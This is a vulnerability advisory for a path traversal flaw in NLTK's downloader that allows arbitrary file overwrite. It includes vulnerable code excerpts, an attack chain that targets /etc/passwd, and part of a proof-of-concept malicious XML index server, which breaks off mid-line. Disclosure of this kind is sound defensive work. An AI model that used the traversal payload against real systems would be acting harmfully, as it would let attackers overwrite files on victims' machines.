NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

## Vulnerability Description The NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to: 1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system 2. **Arbitrary File Creation**: Create arbitrary files 3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.) ## Vulnerability Principle ### Key Code Locations **1. XML Parsing Without Validation** (`nltk/downloader.py:253`) ```python self.filename = os.path.join(subdir, id + ext) ``` - `subdir` and `id` are directly from XML attributes without any validation **2. Path Construction Without Checks** (`nltk/downloader.py:679`) ```python filepath = os.path.join(download_dir, info.filename) ``` - Directly uses `filename` which may contain path traversal **3. Unrestricted Directory Creation** (`nltk/downloader.py:687`) ```python os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True) ``` - Can create arbitrary directories outside the download directory **4. File Writing Without Protection** (`nltk/downloader.py:695`) ```python with open(filepath, "wb") as outfile: ``` - Can write to arbitrary locations in the file system ### Attack Chain ``` 1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. _download_package() constructs path: download_dir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: download_dir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten! ``` ## Impact Scope 1. **System File Overwrite** ## Reproduction Steps ### Environment Setup 1. Install NLTK ```bash pip install nltk ``` 2. Prepare malicious server and exploit script (see PoC section) ### Reproduction Process **Step 1: Start malicious server** ```bash python3 malicious_server.py ``` **Step 2: Run exploit script** ```bash python3 exploit_vulnerability.py ``` **Step 3: Verify results** ```bash ls -la /tmp/test_file.zip ``` ## Proof of Concept ### Malicious Server (malicious_server.py) ```python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler # Create temporary directory server_dir = tempfile.mkdtemp(prefix="nltk_malicious_") # Create malicious XML (contains path traversal) malicious_xml = """<?xml version="1.0"?> <nltk_data> <packages> <package id="test_file" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzipped_size="100" unzip="0"/> </packages> </nltk_data> """ # Save files with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f: f.write(malicious_xml) with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!") # HTTP Handler class Handler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/malicious_index.xml': self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.send_response(200) self.send_header('Content-type', 'application/zip') self.end_headers() with open(os.path.join(server_dir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.send_resp

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-22

Also known as

CVE-2026-33236, PYSEC-2026-2237

• github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7
• nvd.nist.gov/vuln/detail/CVE-2026-33236
• github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a
• access.redhat.com/errata/RHSA-2026:10184
• access.redhat.com/errata/RHSA-2026:19712
• access.redhat.com/errata/RHSA-2026:37275
• access.redhat.com/errata/RHSA-2026:42644
• access.redhat.com/security/cve/CVE-2026-33236
• bugzilla.redhat.com/show_bug.cgi?id=2449824
• github.com/nltk/nltk
• github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2237.yaml
• security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33236.json